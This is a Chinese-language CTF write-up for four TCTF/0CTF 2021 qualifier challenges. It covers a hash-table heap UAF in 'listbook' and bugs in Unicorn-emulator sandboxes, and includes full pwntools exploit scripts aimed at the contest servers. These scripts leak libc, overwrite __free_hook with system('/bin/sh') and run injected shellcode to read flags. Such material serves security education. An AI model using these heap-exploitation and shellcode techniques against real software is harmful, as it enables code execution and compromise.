[TCTF/0CTF 2021 Quals] listbook, uc_baaaby, uc_masteeer, uc_goood 题解
TCTF题目质量一如既往很高,而且uc(unicorn)系列挺好玩hhh 高校榜 ![TCTF_quals_2021.png][1]
Pwn
listbook
比较有意思而且不算难的堆利用
题目实现了简易的哈希表,同哈希idx的用单链表连接。
哈希值计算的时候abs8()使用不当,传值为0x80的时候返回idx为负数,下标溢出到vaild_list,造成idx0的enable位非0,造成严重的UAF
剩下就是慢慢地堆风水...
EXP:
from pwn import *
#p = process(["./listbook", "./libc-2.31.so"])
p = remote("111.186.58.249", 20001)
elf = ELF("./listbook")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
#base: 0x0000555555554000
#booklist: 0x0000555555554000+0x4840
#valid_list: 0x0000555555554000+0x4440
def add(name, content):
p.sendlineafter(b">>", b"1")
p.sendlineafter(b"name>", name)
p.sendafter(b"content>", content)
def delete(idx:int):
p.sendlineafter(b">>", b"2")
p.sendlineafter(b"index>", str(idx).encode())
def show(idx:int):
p.sendlineafter(b">>", b"3")
p.sendlineafter(b"index>", str(idx).encode())
def exp():
# leak libc
for i in range(7):
add(b"\x01", b"AAAAAAAA\n") # fill tcache
add(b"\x00", b"BBBBBBBB\n") # vuln: leak
add(b"\x02", b"BBBBBBBB\n") # vuln: help
for i in range(5):
add(b"\x09\x01", b"KEEP\n") # keep
for i in range(8):
add(b"\x0b", b"KEEP\n") # keep
add(b"\x0c", b"KEEP\n") # keep
for i in range(2):
add(b"\x0d", b"KEEP\n") # keep
for i in range(7):
add(b"\x0e", b"KEEP\n") # keep
add(b"\x0f", b"CCCCCCCC\n") # split
delete(1) # fill tcache
delete(2) # break help chunk
delete(0) # leak this Books' content
add(b"\x80", b"AAAAAAAA\n") # enable idx:0
show(0)
p.recvuntil(b"=> ")
libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - 608 - 0x10 - libc.symbols[b"__malloc_hook"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
system = libc_base + libc.symbols[b"system"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("free_hook:", hex(free_hook))
print("system:", hex(system))
# attack __free_hook
## fix small bin
for i in range(7):
add(b"\x03", b"FIX SMALL; CLEAN UNSORTED\n")
delete(0)
for i in range(3):
add(b"\x03", b"CLEAN UNSORTED\n")
delete(0xb)
for i in range(7):
add(b"\x03", b"CLEAN UNSORTED\n")
add(b"\x04", b"UNSORTED IDX:4\n")
add(b"\x00", b"UNSORTED IDX:0\n")
add(b"\x05", b"UNSORTED IDX:5\n")
add(b"\x06", b"UNSORTED SPLIT\n")
delete(0xe)
delete(4)
delete(0)
delete(5)
for i in range(7):
add(b"\x03", b"CLEAN TCACHE\n")
add(b"\x06", b"OVERLAP\n")
add(b"\x80", b"AAAAAAAA\n") # enable idx:0
delete(0xa)
delete(0)
delete(6)
# build fake chain
add(b"\x07", b"X"*0x88+p64(210)+p64(free_hook)+b"\n")
add(b"\x08", b"/bin/sh\n")
add(b"\x09", p64(system)+b"\n")
print("free_hook:", hex(free_hook))
delete(8)
p.interactive()
if __name__ == "__main__":
exp()
uc_masteeer
capstone反汇编了一下:
disasm_main.txt
0x1000: sub rsp, 0x20
0x1004: mov word ptr [rsp + 0xe], 0
0x100b: lea rbx, [rsp + 0xe]
0x1010: mov qword ptr [rsp + 0x10], 0
0x1019: mov qword ptr [rsp + 0x18], 0
0x1022: mov ecx, 0x44
0x1027: lea rdx, [rip + 0x18b]
0x102e: mov esi, 1
0x1033: xor eax, eax
0x1035: mov edi, 1
0x103a: call 0x11fd
0x103f: mov ecx, 2
0x1044: mov rdx, rbx
0x1047: xor esi, esi
0x1049: xor edi, edi
0x104b: xor eax, eax
0x104d: call 0x11fd
0x1052: mov al, byte ptr [rsp + 0xe]
0x1056: cmp al, 0x32
0x1058: je 0x1093
0x105a: cmp al, 0x33
0x105c: je 0x10c0
0x105e: cmp al, 0x31
0x1060: jne 0x116a
0x1066: mov ecx, 0x12
0x106b: lea rdx, [rip + 0x135]
0x1072: mov esi, 1
0x1077: xor eax, eax
0x1079: mov edi, 1
0x107e: call 0x11fd
0x1083: add rsp, 0x20
0x1087: movabs rdi, 0xbabecafe000
0x1091: jmp qword ptr [rdi]
0x1093: mov ecx, 0x12
0x1098: lea rdx, [rip + 0xf6]
0x109f: mov esi, 1
0x10a4: xor eax, eax
0x10a6: mov edi, 1
0x10ab: call 0x11fd
0x10b0: add rsp, 0x20
0x10b4: movabs rdi, 0xbabecafe000
0x10be: jmp qword ptr [rdi]
0x10c0: mov ecx, 7
0x10c5: lea rdx, [rip + 0xc2]
0x10cc: mov esi, 1
0x10d1: xor eax, eax
0x10d3: mov edi, 1
0x10d8: call 0x11fd
0x10dd: xor esi, esi
0x10df: xor edi, edi
0x10e1: lea rdx, [rsp + 0x10]
0x10e6: mov ecx, 8
0x10eb: xor eax, eax
0x10ed: call 0x11fd
0x10f2: mov ecx, 7
0x10f7: mov esi, 1
0x10fc: xor eax, eax
0x10fe: lea rdx, [rip + 0x82]
0x1105: mov edi, 1
0x110a: call 0x11fd
0x110f: xor esi, esi
0x1111: xor edi, edi
0x1113: xor eax, eax
0x1115: lea rdx, [rsp + 0x18]
0x111a: mov ecx, 8
0x111f: call 0x11fd
0x1124: cmp qword ptr [rsp + 0x18], 0xff
0x112d: ja 0x1022
0x1133: mov ecx, 7
0x1138: lea rdx, [rip + 0x41]
0x113f: mov esi, 1
0x1144: xor eax, eax
0x1146: mov edi, 1
0x114b: call 0x11fd
0x1150: mov rcx, qword ptr [rsp + 0x18]
0x1155: xor esi, esi
0x1157: xor edi, edi
0x1159: mov rdx, qword ptr [rsp + 0x10]
0x115e: xor eax, eax
0x1160: call 0x11fd
0x1165: jmp 0x1022
0x116a: mov esi, 0xff
0x116f: mov edi, 0x3c
0x1174: xor eax, eax
0x1176: call 0x11fd
0x117b: jmp 0x1022
disasm_tail.txt
0x1000: xor eax, eax
0x1002: mov ecx, 0x32
0x1007: lea rdx, [rip + 0x55]
0x100e: mov esi, 1
0x1013: mov edi, 1
0x1018: sub rsp, 0x18
0x101c: mov word ptr [rsp + 0xe], ax
0x1021: xor eax, eax
0x1023: call 0x1095
0x1028: xor esi, esi
0x102a: xor edi, edi
0x102c: xor eax, eax
0x102e: lea rdx, [rsp + 0xe]
0x1033: mov ecx, 2
0x1038: call 0x1095
0x103d: cmp byte ptr [rsp + 0xe], 0x79
0x1042: jne 0x1055
0x1044: add rsp, 0x18
0x1048: movabs rdi, 0xbabecafe000
0x1052: jmp qword ptr [rdi + 0x10]
0x1055: xor esi, esi
0x1057: mov edi, 0x3c
0x105c: xor eax, eax
0x105e: call 0x1095
0x1063: outsd dx, dword ptr [rsi]
0x1065: outsb dx, byte ptr [rsi]
0x1066: jb 0x10ca
0x1069: je 0x10e0
0x106b: insb byte ptr [rdi], dx
disasm_admin.txt
0x1000: mov ecx, 0x10
0x1005: lea rdx, [rip + 0x37]
0x100c: xor eax, eax
0x100e: mov esi, 1
0x1013: mov edi, 1
0x1018: sub rsp, 8
0x101c: call 0x1080
0x1021: lea rax, [rip + 0x2b]
0x1028: movabs qword ptr [0xbabecafe233], rax
0x1032: add rsp, 8
0x1036: movabs rdi, 0xbabecafe000
0x1040: jmp qword ptr [rdi + 8]
0x1043: insd dword ptr [rdi], dx
可以发现跳转表没做保护
- 修改跳转表中跳到ADMIN的表项,拿到admin权限后跳回菜单
再恢复表项,同时把CODE部分残留的ADMIN shellcode中,命令参数给改成
k33nlab/readflag\x00
user_test拿flag
from pwn import *
#p = process(["python3", "./uc_masteeer.py"])
p = remote("111.186.59.29", 10087)
context.log_level = "debug"
context.arch = "amd64"
CODE = 0xdeadbeef000
STACK = 0xbabecafe000
def admin_test():
p.recvuntil(b"?: ")
p.sendline(b"1")
def user_test():
p.recvuntil(b"?: ")
p.sendline(b"2")
def patch_data(target, size, data):
p.recvuntil(b"?: ")
p.sendline(b"3")
p.sendafter(b"addr: ", p64(target))
p.sendafter(b"size: ", p64(size))
p.sendafter(b"data: ", data)
def exp():
p.send(b"\x90")
patch_data(STACK, 8, p64(CODE))
admin_test()
patch_data(STACK, 8, p64(CODE+0x1000))
cmd = b"k33nlab"
cmd += b"/readflag\x00"
patch_data(CODE+0x1000+0x53, len(cmd), cmd)
user_test()
p.interactive()
if __name__ == "__main__":
exp()
uc_goood
参照r3kapig的思路复现了一下,过程看原wp就行:https://r3kapig.com/writeup/20210706-0ctf-quals/#uc_goood 然而官方真正的预期解是一个逻辑bug(牛逼):https://gist.github.com/0xKira/e865709fc47c328ffd6fac3da9d36f44 预期解的大致思路是:通过lock使得一个basic block跨越三个页,然后中间那个页的写不会更新到tb cache里面,于是下次取tb cache执行的时候,中间那个页就还是执行原先的代码。
- 非预期exp:
test.py
from pwn import *
from capstone import *
CODE = 0xdeadbeef000
STACK = 0xbabecafe000
admin_offset = CODE + 0x6b - 5
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xf8\xee\xdb\xea\x0d\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4')
print("length of ADMIN => ", len(ADMIN))
# 0xdeadbeef067: adc al, byte ptr [rax]
# 0xdeadbeef069: add byte ptr [rax], al
# 0x2d pushfq
# !!!!!!!!!!!!!!!!!!!!!!!!!!
offset = 0x9a
# !!!!!!!!!!!!!!!!!!!!!!!!!!
rax = 0xdeadbef0000 + offset
al = ((rax&0xff) + ADMIN[offset])&0xff
print(hex(al), hex(ADMIN[offset]))
rax2 = (0xdeadbef0000 & 0xfffffffff00)+al
print(hex(rax2))
if rax2 > (0xdeadbef0000+0x32):
if rax2 not in range(0xdeadbef0000+0x80, 0xdeadbef0000+0x9b):
print("-----nonono-----")
exit()
tmp = bytearray(ADMIN)
tmp[rax2-0xdeadbef0000] = (tmp[rax2-0xdeadbef0000]+al)&0xff
ADMIN = bytes(tmp)
#print(al, ADMIN[offset])
print("---------- ADMIN CODE ----------")
for i in md.disasm(ADMIN[:0x45], CODE+0x1000):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
print()
for i in md.disasm(ADMIN[0x80:0x9a], CODE+0x1000+0x80):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
print(hex(rax2))
exp.py
from pwn import *
#p = remote("111.186.59.29", 10088)
#context.log_level = "debug"
context.arch = "amd64"
CODE = 0xdeadbeef000
STACK = 0xbabecafe000
# uc.mem_write(CODE + 0x800, p64(CODE + 0xff0) + p64(CODE + 0x2000) + p64(CODE))
def admin_test():
p.recvuntil(b"?: ")
p.sendline(b"1")
def user_test():
p.recvuntil(b"?: ")
p.sendline(b"2")
def patch_data(target, size, data):
p.recvuntil(b"?: ")
p.sendline(b"3")
p.sendafter(b"addr: ", p64(target))
p.sendafter(b"size: ", p64(size))
p.sendafter(b"data: ", data)
def exp():
global p
#p = process(["python3", "./uc_goood.py"])
p = remote("111.186.59.29", 10088)
shellcode = '''
mov rax, 0x68732f6e6962;
push rax;
mov rax, 0x2f62616c6e33336b;
push rax;
mov r8, rsp;
mov r9, 0xbabecafe1e6;
sub rsp, 0x135;
mov rax, 0xdeadbef009a;
mov rbx, 0xdeadbeef067;
jmp rbx;
'''
p.send(asm(shellcode).ljust(0x1000 - 0xd, b"\xf4"))
user_test()
p.interactive()
# flag{Hope_you_enjoyed_the_series}
if __name__ == "__main__":
exp()
- 预期解exp:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import remote, p64
p = remote('111.186.59.29', 10088)
'''
push 0
mov rax, 0x67616c6664616572
push rax
mov rax, 0x2f62616c6e33336b
push rax
mov rsi, 0xbabecafe233
mov [rsi], rsp
'''
# These shellcode will be executed under admin context
payload = b'\x6a\x00\x48\xb8\x72\x65\x61\x64\x66\x6c\x61\x67\x50\x48\xb8\x6b\x33\x33\x6e\x6c\x61\x62\x2f\x50\x48\xbe\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x89\x26'
payload = payload.ljust(0x1000 - 0xd, b'\xf0')
p.send(payload)
p.sendlineafter('?: ', '3')
p.sendafter('addr: ', p64(0xdeadbef1000 - 0xd))
p.sendafter('size: ', p64(0xd))
p.sendafter('data: ', b'\xf0' * 0xd)
p.sendlineafter('?: ', '2')
p.sendlineafter('(y/[n])', 'y')
p.sendlineafter('?: ', '1')
p.interactive()
Misc
uc_baaaby
这个方法打本地一次过但是打远程有几率性,不清楚为什么
题目限制主要是三点:
- 需要用x86汇编完成指定地址md5计算
不能有超过一个基本块(除了入口)
取指次数小于0x233次
第一个问题可以从网上找个fastmd5来魔改,编译成位置无关代码后提取出来主要部分作为shellcode
关于上面第二个问题通过展开循环和内联函数来解决
第三个问题通过构造12字节长指令add qword ptr es:[rax+rcx+0x100], 0x1000
,并在前缀pad一定数量的\xF0(lock)
来爆破直到最终步数小于等于0x233
fast_x8664_md5.c
/*
* MD5 hash in C and x86 assembly
*
* Copyright (c) 2021 Project Nayuki. (MIT License)
* https://www.nayuki.io/page/fast-md5-hash-implementation-in-x86-assembly
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
* - The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
* - The Software is provided "as is", without warranty of any kind, express or
* implied, including but not limited to the warranties of merchantability,
* fitness for a particular purpose and noninfringement. In no event shall the
* authors or copyright holders be liable for any claim, damages or other
* liability, whether in an action of contract, tort or otherwise, arising from,
* out of or in connection with the Software or the use or other dealings in the
* Software.
*/
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include<unistd.h>
#include<sys/mman.h>
#define CODE 0xdeadbeef000LL
#define DATA 0xbabecafe000LL
/* Function prototypes */
#define BLOCK_LEN 64 // In bytes
#define STATE_LEN 4 // In words
static bool self_check(void);
void md5_hash(const uint8_t message[], size_t len, uint32_t hash[static STATE_LEN]);
// Link this program with an external C or x86 compression function
// extern inline void md5_compress(uint32_t state[static STATE_LEN], const uint8_t block[static BLOCK_LEN]);
__inline__ __attribute__((always_inline)) void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]);
//void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]);
/* Main program */
int main(void) {
//char *code = mmap(CODE, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
//char *data = mmap(DATA, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
//((uint8_t *)(0xdeadbeef000LL))[0] = 1;
uint8_t *message = (uint8_t *)DATA;
uint32_t *hash = (uint8_t *)DATA+0x800LL;
//memset(message, 0, 0x800);
//memset(hash, 0, 0x10);
//for(int i = 0 ; i < 50;i++){
// message[i] = 'A';
//}
//int len = 50;
hash[0] = UINT32_C(0x67452301);
hash[1] = UINT32_C(0xEFCDAB89);
hash[2] = UINT32_C(0x98BADCFE);
hash[3] = UINT32_C(0x10325476);
#define LENGTH_SIZE 8 // In bytes
/*
size_t off;
for (off = 0; len - off >= BLOCK_LEN; off += BLOCK_LEN)
md5_compress(hash, &message[off]);
*/
//uint8_t block[BLOCK_LEN] = {0};
//size_t rem = len - off;
//size_t rem = len;
//memcpy(block, &message[0], 50);
message[50] = 0x80;
//rem++;
message[56] = (uint8_t)(0x90U);
/*
for (int i = 1; i < LENGTH_SIZE; i++, len >>= 8)
block[BLOCK_LEN - LENGTH_SIZE + i] = (uint8_t)(len & 0xFFU);
*/
message[57] = (uint8_t)(1U);
/*
len >>= 8;
block[BLOCK_LEN - LENGTH_SIZE + 2] = (uint8_t)(len & 0xFFU);
len >>= 8;
block[BLOCK_LEN - LENGTH_SIZE + 3] = (uint8_t)(len & 0xFFU);
len >>= 8;
block[BLOCK_LEN - LENGTH_SIZE + 4] = (uint8_t)(len & 0xFFU);
len >>= 8;
block[BLOCK_LEN - LENGTH_SIZE + 5] = (uint8_t)(len & 0xFFU);
len >>= 8;
block[BLOCK_LEN - LENGTH_SIZE + 6] = (uint8_t)(len & 0xFFU);
len >>= 8;
block[BLOCK_LEN - LENGTH_SIZE + 7] = (uint8_t)(len & 0xFFU);
*/
md5_compress(hash, message);
//for(int i = 0 ; i < 16;i++){
// printf("%x " , ((uint8_t *)hash)[i]);
//}
return 0;
}
void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]) {
#define LOADSCHEDULE(i) \
schedule[i] = (uint32_t)block[i * 4 + 0] << 0 \
| (uint32_t)block[i * 4 + 1] << 8 \
| (uint32_t)block[i * 4 + 2] << 16 \
| (uint32_t)block[i * 4 + 3] << 24;
uint32_t schedule[16];
LOADSCHEDULE( 0)
LOADSCHEDULE( 1)
LOADSCHEDULE( 2)
LOADSCHEDULE( 3)
LOADSCHEDULE( 4)
LOADSCHEDULE( 5)
LOADSCHEDULE( 6)
LOADSCHEDULE( 7)
LOADSCHEDULE( 8)
LOADSCHEDULE( 9)
LOADSCHEDULE(10)
LOADSCHEDULE(11)
LOADSCHEDULE(12)
LOADSCHEDULE(13)
LOADSCHEDULE(14)
LOADSCHEDULE(15)
#define ROTL32(x, n) (((0U + (x)) << (n)) | ((x) >> (32 - (n)))) // Assumes that x is uint32_t and 0 < n < 32
#define ROUND0(a, b, c, d, k, s, t) ROUND_TAIL(a, b, d ^ (b & (c ^ d)), k, s, t)
#define ROUND1(a, b, c, d, k, s, t) ROUND_TAIL(a, b, c ^ (d & (b ^ c)), k, s, t)
#define ROUND2(a, b, c, d, k, s, t) ROUND_TAIL(a, b, b ^ c ^ d , k, s, t)
#define ROUND3(a, b, c, d, k, s, t) ROUND_TAIL(a, b, c ^ (b | ~d) , k, s, t)
#define ROUND_TAIL(a, b, expr, k, s, t) \
a = 0U + a + (expr) + UINT32_C(t) + schedule[k]; \
a = 0U + b + ROTL32(a, s);
uint32_t a = state[0];
uint32_t b = state[1];
uint32_t c = state[2];
uint32_t d = state[3];
ROUND0(a, b, c, d, 0, 7, 0xD76AA478)
ROUND0(d, a, b, c, 1, 12, 0xE8C7B756)
ROUND0(c, d, a, b, 2, 17, 0x242070DB)
ROUND0(b, c, d, a, 3, 22, 0xC1BDCEEE)
ROUND0(a, b, c, d, 4, 7, 0xF57C0FAF)
ROUND0(d, a, b, c, 5, 12, 0x4787C62A)
ROUND0(c, d, a, b, 6, 17, 0xA8304613)
ROUND0(b, c, d, a, 7, 22, 0xFD469501)
ROUND0(a, b, c, d, 8, 7, 0x698098D8)
ROUND0(d, a, b, c, 9, 12, 0x8B44F7AF)
ROUND0(c, d, a, b, 10, 17, 0xFFFF5BB1)
ROUND0(b, c, d, a, 11, 22, 0x895CD7BE)
ROUND0(a, b, c, d, 12, 7, 0x6B901122)
ROUND0(d, a, b, c, 13, 12, 0xFD987193)
ROUND0(c, d, a, b, 14, 17, 0xA679438E)
ROUND0(b, c, d, a, 15, 22, 0x49B40821)
ROUND1(a, b, c, d, 1, 5, 0xF61E2562)
ROUND1(d, a, b, c, 6, 9, 0xC040B340)
ROUND1(c, d, a, b, 11, 14, 0x265E5A51)
ROUND1(b, c, d, a, 0, 20, 0xE9B6C7AA)
ROUND1(a, b, c, d, 5, 5, 0xD62F105D)
ROUND1(d, a, b, c, 10, 9, 0x02441453)
ROUND1(c, d, a, b, 15, 14, 0xD8A1E681)
ROUND1(b, c, d, a, 4, 20, 0xE7D3FBC8)
ROUND1(a, b, c, d, 9, 5, 0x21E1CDE6)
ROUND1(d, a, b, c, 14, 9, 0xC33707D6)
ROUND1(c, d, a, b, 3, 14, 0xF4D50D87)
ROUND1(b, c, d, a, 8, 20, 0x455A14ED)
ROUND1(a, b, c, d, 13, 5, 0xA9E3E905)
ROUND1(d, a, b, c, 2, 9, 0xFCEFA3F8)
ROUND1(c, d, a, b, 7, 14, 0x676F02D9)
ROUND1(b, c, d, a, 12, 20, 0x8D2A4C8A)
ROUND2(a, b, c, d, 5, 4, 0xFFFA3942)
ROUND2(d, a, b, c, 8, 11, 0x8771F681)
ROUND2(c, d, a, b, 11, 16, 0x6D9D6122)
ROUND2(b, c, d, a, 14, 23, 0xFDE5380C)
ROUND2(a, b, c, d, 1, 4, 0xA4BEEA44)
ROUND2(d, a, b, c, 4, 11, 0x4BDECFA9)
ROUND2(c, d, a, b, 7, 16, 0xF6BB4B60)
ROUND2(b, c, d, a, 10, 23, 0xBEBFBC70)
ROUND2(a, b, c, d, 13, 4, 0x289B7EC6)
ROUND2(d, a, b, c, 0, 11, 0xEAA127FA)
ROUND2(c, d, a, b, 3, 16, 0xD4EF3085)
ROUND2(b, c, d, a, 6, 23, 0x04881D05)
ROUND2(a, b, c, d, 9, 4, 0xD9D4D039)
ROUND2(d, a, b, c, 12, 11, 0xE6DB99E5)
ROUND2(c, d, a, b, 15, 16, 0x1FA27CF8)
ROUND2(b, c, d, a, 2, 23, 0xC4AC5665)
ROUND3(a, b, c, d, 0, 6, 0xF4292244)
ROUND3(d, a, b, c, 7, 10, 0x432AFF97)
ROUND3(c, d, a, b, 14, 15, 0xAB9423A7)
ROUND3(b, c, d, a, 5, 21, 0xFC93A039)
ROUND3(a, b, c, d, 12, 6, 0x655B59C3)
ROUND3(d, a, b, c, 3, 10, 0x8F0CCC92)
ROUND3(c, d, a, b, 10, 15, 0xFFEFF47D)
ROUND3(b, c, d, a, 1, 21, 0x85845DD1)
ROUND3(a, b, c, d, 8, 6, 0x6FA87E4F)
ROUND3(d, a, b, c, 15, 10, 0xFE2CE6E0)
ROUND3(c, d, a, b, 6, 15, 0xA3014314)
ROUND3(b, c, d, a, 13, 21, 0x4E0811A1)
ROUND3(a, b, c, d, 4, 6, 0xF7537E82)
ROUND3(d, a, b, c, 11, 10, 0xBD3AF235)
ROUND3(c, d, a, b, 2, 15, 0x2AD7D2BB)
ROUND3(b, c, d, a, 9, 21, 0xEB86D391)
state[0] = 0U + state[0] + a;
state[1] = 0U + state[1] + b;
state[2] = 0U + state[2] + c;
state[3] = 0U + state[3] + d;
}
exploit.py
from pwn import *
import time
elf = ELF("./vuln")
#context.log_level = "debug"
context.arch = "amd64"
CODE = 0xdeadbeef000
DATA = 0xbabecafe000
def exp():
global p
for i in range(1, 0x2000):
print("---------------------------curr", i)
p = remote("111.186.59.29", 10086)
#p = process(["python3","./uc_baaaby.py"])
code = b""
with open("./vuln2", "rb") as f:
data = f.read()
code = data[0x1044:0x16d0]
print("Main code size:", hex(0x16d0-0x1044))
payload = asm('''
mov rbp, 0xbabecafefff;
mov rsp, rbp;
''')
print("Padding Size:", hex(len(payload)))
payload += code
payload += asm("mov rax, 0xbabecafe000;mov rcx, 0;")
padding_num = 1609
payload += (b"\xF0"*padding_num+b"\x26\x48\x81\x84\x08\x00\x01\x00\x00\x10\x00\x00")*((0x2000-len(payload))//(12+padding_num))
payload = payload.ljust(0x2000, asm("nop"))
p.send(payload)
print("Payload size:", hex(len(payload)))
#p.interactive()
try:
p.recvuntil(b"You took ")
_time = int(p.recvuntil(b" ", drop=True).decode())
except:
p.close()
continue
print("Time used: ", hex(_time))
if _time<=0x233:
pause()
p.close()
time.sleep(0.2)
if __name__ == "__main__":
exp()
[1]: https://eqqie.cn/usr/uploads/2021/12/724434718.png